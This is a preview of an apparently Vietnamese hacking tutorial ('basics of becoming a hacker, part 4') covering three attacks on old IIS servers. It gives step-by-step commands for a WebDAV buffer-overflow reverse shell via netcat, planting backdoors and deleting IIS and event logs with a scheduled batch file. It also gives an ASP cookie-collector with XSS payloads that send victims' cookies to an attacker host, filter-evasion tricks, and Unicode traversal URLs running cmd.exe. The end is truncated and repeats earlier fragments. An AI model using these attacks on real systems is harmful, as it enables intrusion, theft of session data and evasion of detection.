Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống
1
/ 12 trang
THÔNG TIN TÀI LIỆU
Thông tin cơ bản
Định dạng
Số trang
12
Dung lượng
115,66 KB
Nội dung
Những hiểu biết cơ bản nhất để trở thành Hacker phần 4 trang này đã được đọc lần 50 . ) Kỹ thuật hack server thông qua lỗi tràn bộ đệm WebDAV : Giới thiệu : Giao thức World Wide Web Distributed Authoring and Versioning (WebDAV) là một tập hợp các mở rộng cho giao thức HTTP dùng để cung cấp một cách thức chuẩn cho việc biên tập và quản lý file giữa các máy tính trên Internet. Lỗi tràn bộ đệm đã được phát hiện trong một thành phần của Windows 2000 được sử dụng bởi WebDAV có thể cho phép kẻ tấn công chiếm quyền điều khiển máy tính . Chuẩn bị : Ngoài những đồ nghề đã giới thiệu ở các bài trước , các bạn hãy vào down thêm www32.brinkster.com/anhdenday/wb.zip extract để ở trong C:\ Khai thác : + Tìm một trang Web dùng IIS 5.0 + Vào Dos , vào đặt NETCAT ở chế độ lắng nghe : C:\>nx -vv -l -p 53 listening on [any] 53 Ta để nó lắng nghe ở cổng 53 vì tường lửa ko chặn cổng này . + Mở thêm một của sổ DOS nữa . + Ta sử dụng WebDAV vừa down về . c:\wb.exe <IP của máy chủ IIS> <IP của máy tính của mình dùng để tấn công> <cổng lắng nghe> [padding=1,2,3 ] VD : C:\> webdav xxx.xxx.xxx.xxx 203.162.xxx.xxx 53 1 [Crpt] ntdll.dll exploit trough WebDAV by kralor [Crpt] www.coromputer.net && undernet #coromputer Checking WebDav on 'xxx.xxx.xxx.xxx' FOUND exploiting ntdll.dll through WebDav [ret: 0x00100010] Connecting CONNECTED Sending evil request SENT Now if you are lucky you will get a shell. + Nếu như may mắn bạn có thể lấy được shell của máy chủ IIS . Nếu như ở máy tính dùng để tấn công hiện ra kết quả như sau thì bạn đã có shell rồi đó : C:\>nc -vv -l -p 53 listening on [any] 53 connect to [203.162.xxx.xxx] from xxx.xxx.xxx.xxx[xxx.xxx.xxx.xxx] 1125 Microsoft Windows 2000 [Version 5.00.2195] (C) Copyright 1985-2000 Microsoft Corp. C:\WINNT\system32> < OK đã thành công rùi. + Khi đã có shell rồi việc đầu tiên là ta sử dụng các lệnh trong Unix để khai thác , sau đó up lên server vài con backdoor , he he . ( Sử dụng con WinShell, Hack Defensed là ok rùi ) . + Sau khi làm xong ta sẽ xoá file log , để xác định file log ta thực hiện câu truy vấn sau : C:\WINNT\system32>reg query HKLM\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters /v LogFileDirectory ! REG.EXE VERSION 2.0 kết quả nó sẽ xuất hiện link để ta xác định file log : HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\ Parameters LogFileDirectory REG_SZ C:\WINNT\System32\LogFiles He he , đường dẫn file log là C:\WINNT\System32\LogFiles + Ta tạo một file a.bat trên máy của nạn nhân để thực hiện việc xoá file log này , ta đánh các lệnh sau : C:\WINNT\system32>echo iisreset /stop >a.bat ' tạm dừng server IIS C:\WINNT\system32>echo rd /q /s C:\WINNT\System32\LogFiles >>a.bat ' xóa nhật kí của IIS C:\WINNT\system32>echo iisreset /start >>a.bat ' khởi động lại IIS C:\WINNT\system32>echo ce >>a.bat ' xóa nhật kí của Event Log C:\WINNT\system32>echo del a.bat >>a.bat ' xóa file a.bat + Sau đó ta dùng các lệnh sau để cho flie a.bat kia làm việc : C:\WINNT\system32>net time \xxx.xxx.xxx.xxx ' lấy thời gian hiện tại của máy chủ Nó sẽ cho kết quả như VD sau : Current time at \xxx.xxx.xxx.xxx is dd/mm/yy 3:00 PM The command completed successfully Như vậy thờI gian hiện tạI trên máy chủ là 15:00 , ta sẽ cho file a.bat làm việc sau 5 phút nữa bằng lệnh sau : C:\WINNT\system32>at 15:05 a.bat Added a new job with job ID = 1 Ta có thể mặc đinh cho file a.bat tự động làm việc sau bao lâu là tuỳ vào thông số thời gian bạn đưa vào . Ta thoát khỏi máy chủ bằng lệnh : C:\WINNT\system32>exit ' đóng kết nối sent 207, rcvd 746 + Lúc này thì mấy admin có tài thánh cũng ko biết là đã có người thâm nhập. _ Sau này các bạn muốn quay lại cái server trên thì ta đột nhập trực tiếp thông qua backdoor các bạn đã up lên. _ Kèm theo file Wb.exe tôi đã để thêm 2 file nữa đó là : + xoafilelog.exe : dùng để xoá file log trong server của victim . + wbscaniis.xpn : dùng để quét xem server victim có bị lỗi này cho ta khai thác hay không , các bạn tự tìm hiểu để sử dụng chúng nhé. 51 . ) Lỗi CROSS SITE SCRIPTING và cách khai thác : Giới thiệu : Lỗi XSS ( tên gọi của Cross-Site Scripting ) nói nôm na là hacker có thể thông qua lỗi này để chèn code vào site hay link để chôm các thông tin quan trọng từ nạn nhân, các thông tin quan trọng ở đây có thể là cookie hoặc username + pass để vào tài khoản 1 ngân hàng nào đó sau đó thông tin này được gửi tới cho hacker . Chuẩn bị : + Lấy đoạn code sau save lại thành file cookie.asp rồi up lên host của bạn có hỗ trợ asp ( như brikster.com ) : <% Set x = CreateObject("Scripting.FileSystemObject") Set y = x.OpenTextFile(Server.MapPath("mask.txt"), 8, true) y.WriteLine Request.QueryString("cookie") y.Close Set y = Nothing Set x = Nothing %> Kiểm tra trang Web bị lỗi : + 1 site bất kì bao giờ cũng có 1 hoặc tất cả các phần sau : search results, error messages , Web-form , chủ yếu lỗi XSS nằm ở các phần này , nói chung là XSS có thể xảy ra ở chỗ nào mà người dùng có thể nhập dữ liệu vào và sau đó sẽ nhận được 1 cái gì đó . + Cách tìm lỗi ta chia thành 4 bước : Bước 1 : Mở website cần kiểm tra . Bước 2 : Bắt đầu kiểm tra , định vị 1 ô tìm kiếm hoặc 1 login form và gửi thông tin đi (nhập thông tin và nhấn submit hay login hay ok gì đó ) , ví dụ nhập chữ "abc" chẳng hạn hay chữ gì cũng được . Bước 3 : Xác định khả năng site có bị lỗi XSS hay không bằng cách xem thông tin trả về : Ví dụ bạn thấy như thế này : "Your search for 'abc' did not find any items" "Your search for 'abc' returned the following results" "User 'abc' is not valid" "Invalid login 'abc'" hoặc là cái gì đó mà có dính tới chữ "abc" mà bạn nhập vào ban đầu thì 99% thằng này bi XSS Bước 4 : Chèn code thực sự vào nơi bị lỗi : chèn cái này : <script>alert('abc')</script> vào ô ban nãy và nhấn SUBMIT . Nếu sau đó bạn nhận được 1 popup có chữ "abc" thì thằng này 100% bị dính XSS . Nhưng xin chú ý , thỉnh thoảng vẫn có trường hợp website đó bị dính XSS nhưng vẫn không xuất hiện cái popup thì buộc lòng bạn phải VIEW SOURCES nó ra để xem . Khi view sources nhớ kiếm dòng này<script>alert('abc')</script> , nếu có thì XSS đây rồi . Một ví dụ khác thường gặp hơn : Gọi http://sitebiloi.com là site bị dính lỗi XSS và ta tìm được nơi bị lỗi như thế này : http://sitebiloi.com/?page=<script> <script> , nghĩa là ta có thể chèn code ngay trên thanh ADDRESS . Tôi không thể trình bày hết mọi tình huống được , cái mà các bạn cần là hiểu ra vấn đề thì bạn sẽ hiểu được khi nào bị lỗi . Khai thác : + Lấy lại ví dụ site bị XSS trên thanh address , để lấy cookie của nạn nhân ta làm như thế này : http://sitebiloi.com/index.asp?page=<script>window.open("http:// địa chỉ trang Web ta vừa up file cookie. asp lên /cookie.asp?cookie="+document.cookie)</script> thì ngay lập tức đoạn code đã được chèn vào trong web page , và trông như vầy : <HTML> <TITLE> Hello all! </TITLE> hello <script>window.open("địa chỉ trang Web ta vừa up file cookie.asp lên /cookie.asp?cookie="+document.cookie)</script> </HTML> Với đoạn code này thì trình duyệt sẽ thi hành đoạn code và sau đó sẽ gửi toàn bộ cookie tới cho bạn ở dạng file .txt và bạn chỉ việc mở file này ra xem . + Vậy gặp trường hợp nhà quản trị hạn chế sự xâm nhập bằng cách lọc bỏ các ký tự đặc biệt ta phải làm sao ? Các bạn thử cách thay thế các ký tự đó bằng các mã đại diện . VD : * Nếu "Bộ lọc" loại bỏ 2 kí tự "<" và ">" : Hacker sẽ dùng "\x3c" và "\x3e" để thay thế và bắt đầu chèn code với ') + ') + '\x3cscript src=http://hostbanupfile.com/cookie.asp?cookie="+document.cookie \x3e\x3c/script\x3e' Để tìm hiểu thêm về mã đại diện các bạn hãy download tại : www32.brinkster.com/anhdenday/ascii.zip về nghiên cứu . + Biến các đoạn code nguy hiểm thành lời chú giải (comment) : Ví dụ khi hacker nhập vào <script>code</script> thì sẽ bị chặn như sau : <COMMENT> <! code (không được phân tích bởi bộ lọc) // > </COMMENT> Vượt qua cái này cũng rất dễ bằng cách dùng thẻ đóng </COMMENT> để đóng cái <COMMENT> kia . Nghĩa là ta chèn cái này vào : <script> </COMMENT> <img src="http://none" onerror="alert(abc was here);window.open( http://sitebanupfile.com/cookie.asp?cookie cument.cookie); "></script> lúc này đoạn lọc code ban đầu trở thành : <COMMENT> <! - > </COMMENT> <img src="h*tp://none" onerror="alert(abc was here);window.open( http://sitebanupfile.com/cookie.asp?cookie cument.cookie); "> </script> </COMMENT> và thế là bộ lọc bị vô hiệu hoá 1 cách nhanh chóng . 52 . ) Tìm hiểu về lỗ hổng Unicode trong Microsoft IIS : Giới thiệu: Microsoft IIS là một phần mềm web server. Nó chứa tất cả file của một website, và làm chúng có hiệu lực cho mọi người dùng trên internet. Nhưng như tất cả các phần mềm khác, (đặc biệt là của Microsoft) nó có lỗ hỏng bảo mật Unicode trong IIS của Microsoft, nhưng "không may" những người quản trị thì lại không quan tâm đến việc cài đặt những patch fix lỗi đó. Trong bài hướng dẫn này, ta thảo luận về cách mà lỗi này hoạt động, và Tại sao nó hoạt động được. Khi bạn viếng thăm một website, địa chỉ của file bạn hiện giờ đang xem sẽ giống như sau: http://www.someserver.com/ Đây là remote address của web server, hiển thị trên thanh address của trình duyệt. Bất kỳ ai cũng có thể truy cập nó trên internet. Khi vào site này, web server sẽ đưa cho bạn file index, (index.html hay ) của root folder web server. Hầu hết những root folder của một web server là: C:\inetpub\wwwroot Đây là thư mục local của web servers, nơi cất giữ tất cả các trang chính của website. Vì vậy nếu bạn gõ địa chỉ sau: http://www.someserver.com/index.html Ở trình duyệt, web server sẽ đưa cho bạn local file của nó: c:\inetpub\wwwroot\index.html Tôi hy vọng bạn sẽ không quá nhàm chán, việc quan trọng nhất là bạn phải hiểu được sự khác nhau giữa địa chỉ local và remote. Bây giờ, cái gì sẽ xảy ra nếu ta muốn di chuyển một cặp thư mục lên web server? Ta muốn di chuyển từ c:\inetpub\wwwroot Đến c:\ chúng ta sẽ làm như thế nào? Bạn không thể gõ: http://www.someserver.com/c:\ Chú thích Web server sẽ bắt đầu đi qua local của nó c:\inetpub\wwwroot Đối với những thư mục riêng, và do bạn không thể có : trong thư mục, nó sẽ đỗ vỡ và bạn nhận được thông báo lỗi trong trình duyệt. Tiếc quá! nó không hoạt động. Nếu đã quen với FTP, thì bạn cũng biết lệnh DIRUP dùng để làm gì. Lệnh để đi đến một thư mục ở trên là / / Nếu bạn thiết kế bất kỳ web hay mã html nào thì chắc chắn bạn sẽ dùng được rất nhiều. Vì thế ta chỉ đặt lệnh lẫn nhau, giống như sau http://www.someserver.com/ / / Và bắt đầu truy cập vào ổ đĩa c local của server? Tốt, ta bắt đầu khai thác ở đây, nhưng người tạo IIS lại muốn tránh phiền phức, bằng cách làm server từ chối loại yêu cầu này.Vì thế ta phải làm gì đây?Bạn có bao giờ thử download một file mà trong tên của nó có khoảng trống chưa? Bạn có nhận được thông báo là trình duyệt đã biến đổi khoảng trống đó thành %20 không? Hãy làm 1 ví dụ. Nếu bạn gõ cái này trong trình duyệt: http://www.someserver.com/iis Unicode hole.txt Trình duyệt sẽ thay thế khoảng trống bằng %20 : http://www.someserver.com/iis%20unicode%20hole.txt Và sau đó mới cho phép bạn download file. Đó là cái gì, và tại sao trình duyệt lại phải làm như thế? Máy tính không thể hiểu được khoảng trống. Đơn giản là chúng không làm được vậy thôi. %20 ở đây chính là Unicode cho ký tự ASCII mà ta hay gọi là “khoảng trống”. Ký tự ASCII là những ký tự mà ta thấy trên màn hình khi dùng máy tính. Chỉ có một Unicode cho mỗi ký tự ASCII. Vì thế, khi bạn đưa một khoảng trống vào trình duyệt, nó phải được thay thế bằng cái gì mà cho máy tính có thể hiểu được trước khi nó bắt đầu tìm kiếm. Để tìm hiểu thêm về ASCII các bạn down tại : www32.brinkster.com/anhdenday/ascii.zip Từ khi trình duyệt biến đổi khoảng trống thành ký tự Unicode mới và gửi chúng đến web server mà có thể hiểu được, ta cũng có thể dùng ký tự Unicode để giải thích bất cứ thứ gì ta muốn, và web server sẽ cũng hiểu được chúng. Không chỉ với khoảng trống. Mà ta cũng có thể biến đổi lệnh DIRUP thành Unicode, và gửi chúng đến server. Ta cần biến đổi dấu gạch chéo (/) thành / / / trong Unicode. Unicode của / là %5C . Thật là tuyệt, nếu sau đó tôi chỉ cần gõ http://www.someserver.com/ %5C %5C/ và tôi có thể thấy host được không? Khai thác ở đây, nhưng có một vài lý do nó không hoạt động. Đầu tiên, nếu bạn đã làm với server’s local c:\ Bạn sẽ cần một vài thứ để đóng thư mục. Web server sẽ không làm như vậy cho bạn. Vì vậy chúng ta cần mở cmd.exe (dấu nhắc DOS) của server. Trong trình duyệt của bạn! Nhưng chúng ta sẽ quay lại vấn đề này sau. Thứ hai, khi server giải mã / %5C %5C/ Nó sẽ thành / / / mà lại bị hạn chế, và sau đó từ chối yêu cầu. Vì thế ta cần phải làm gì, hay mã hoá Unicode đã mã hóa rồi một lần nữa. Có thể bạn sẽ không theo tôi ngay bây giờ, nhưng tôi sẽ cố gắng giải thích một lần nữa. Ta cần mã hoá mọi ký tự của chuỗi Unicode đã có. Xem bảng dưới sẽ hiểu hơn. COLOR=purple]ASCII UNICODE[/COLOR] % %25 5 %35 C %43 Vì vậy khi ta mã hóa ký tự ASCII / %5C %5C/ Sang Unicode, ta được %25%35%43 %25%35%43 Và khi server đọc chuỗi ký tự này, nó sẽ trở lạI / %5C %5C/ Đó không phải là lệnh DIRUP bình thường, nên nó được cho phép. Nhưng có một vài thứ chúng ta cần biết. Như tôi đã đề cập ở trước, khi bạn kết nối đến một web server, thư mục root mặc định là wwwroot. Thư mục này những trang chính của site. Nhưng có những thư mục khác cho những trang web như yếu tố scripts. Những thư mục này có chứa file mà có khá nhiều thứ quan trọng trong web server. Vì vậy khi vận dụng server, ta cần làm nó từ thư mục mà ta đã có đặc quyền để làm. Điều này không khó; Tôi chỉ muốn bạn hiểu tại sao tôi thêm /scripts/ vào cuối URL. Rốt cuộc, khi ta thi hành lệnh ở dấu nhắc server’s local dos prompt, ta cần thi hành một lệnh cũng trong cái này. Ta muốn hiển thị c:\ ? Dễ thôi; ta chỉ cần làm vài thủ thuật khác hơn bạn thường làm ở dấu nhắc dos. Bắt đầu cmd.exe theo cách sau: cmd.exe?/c+ ? = Mọi thứ sau dòng đối số của lệnh. /c = Thi hành lệnh, sau đó đóng cmd.exe (để cho nó không chạy mãi) + = Thay thế cho khoảng trống Cuối cùng, toàn bộ lệnh ráp lại sẽ như sau: http://www.myserver.com/scripts/ %25%35%43 %25%35%43/win nt/system32/cmd.exe?/c+dir+c:\ Và bạn thấy được c:\ của servers bên trong trình duyệt. Hehe? _ Chú thích: Có rất nhiều “lệnh” Unicode khác để cho ta thi hành, nếu cái này không hoạt động (có thể server đã fix được phần nào) thì thử áp dụng những cách sau: /msadc/ %c0%af / %c0%af / %c0%af /winnt/system32/cmd.exe [...]... định nó sẽ nằm ở đây : C:\Program Files\Advanced Communications\NT Web Hosting Controller\web\ ( Các bạn có thể thay ổ C:\ bằng D:\ , E:\ ) + Khi xác định được chính xác địa chỉ rùi ta sẽ tìm đoạn script để làm giúp : http://[targethost]/admin/import/imp_rootdir.asp?result=1&www=C: \&ftp=C:\( đường dẫn đến thư mục web victim )&owwwPa th=C:\&oftpPath=C:\( đường dẫn đến thư mục ta vừa upload file ) + Các . Những hiểu biết cơ bản nhất để trở thành Hacker phần 4 trang này đã được đọc lần 50 . ) Kỹ thuật hack server thông qua. Unicode đã có. Xem bảng dưới sẽ hiểu hơn. COLOR=purple]ASCII UNICODE[/COLOR] % %25 5 %35 C %43 Vì vậy khi ta mã hóa ký tự ASCII / %5C %5C/ Sang Unicode, ta được %25%35 %43 %25%35 %43 Và khi server. tính có thể hiểu được trước khi nó bắt đầu tìm kiếm. Để tìm hiểu thêm về ASCII các bạn down tại : www32.brinkster.com/anhdenday/ascii.zip Từ khi trình duyệt biến đổi khoảng trống thành ký tự